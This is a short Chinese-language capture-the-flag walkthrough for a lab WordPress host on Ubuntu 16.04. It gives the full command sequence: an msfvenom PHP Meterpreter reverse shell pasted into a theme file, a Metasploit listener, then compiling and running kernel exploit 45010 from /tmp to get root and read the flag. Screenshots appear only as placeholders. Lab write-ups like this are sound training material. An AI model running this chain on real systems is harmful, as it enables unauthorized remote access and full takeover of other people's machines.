1、生成PHP的反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.182.128 lport=7777 -o shell.php
image.png
其它反弹连接
image.png

2、将shell.php代码复制到wordpress中

image.png
注意/*不要复制进去,否则不会生效

3、启动msfconsole

msfconsole>
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.182.128
set lport 7777
exploit
image.png

4、访问shell文件

http://192.168.182.129/wordpress/wp-content/themes/twentynineteen/secret.php
关于这个目录wordpress/wp-content/themes/twentynineteen/是通过下载wordpress的源码包查找后得知的。
结果如下,已经进入meterpreter了:
image.png

5、查看系统信息

ls
image.png
sysinfo
image.png

6、查找系统内核漏洞

searchsploit 16.04 Ubuntu
如下图,找到一个权限提升的漏洞
image.png
漏洞脚本目录:
/usr/share/exploitdb/exploits/linux/local/
image.png

7、编译漏洞文件

cd /root
cp /usr/share/exploitdb/exploits/linux/local/45010.c ./
gcc 45010.c -o 45010 得到可执行文件45010
image.png

8、meterpreter上传可执行漏洞到靶机上执行

upload /root/45010 /tmp/45010
tmp目录对于任意一个用户都是有读写权限的。
image.png

shell命令进入shell
shell>
cd /tmp
chmod +x 45010
./45010
运行可执行文件,获得root的权限
image.png

whoami
root
cd /root
ls
cat root.txt
获得flag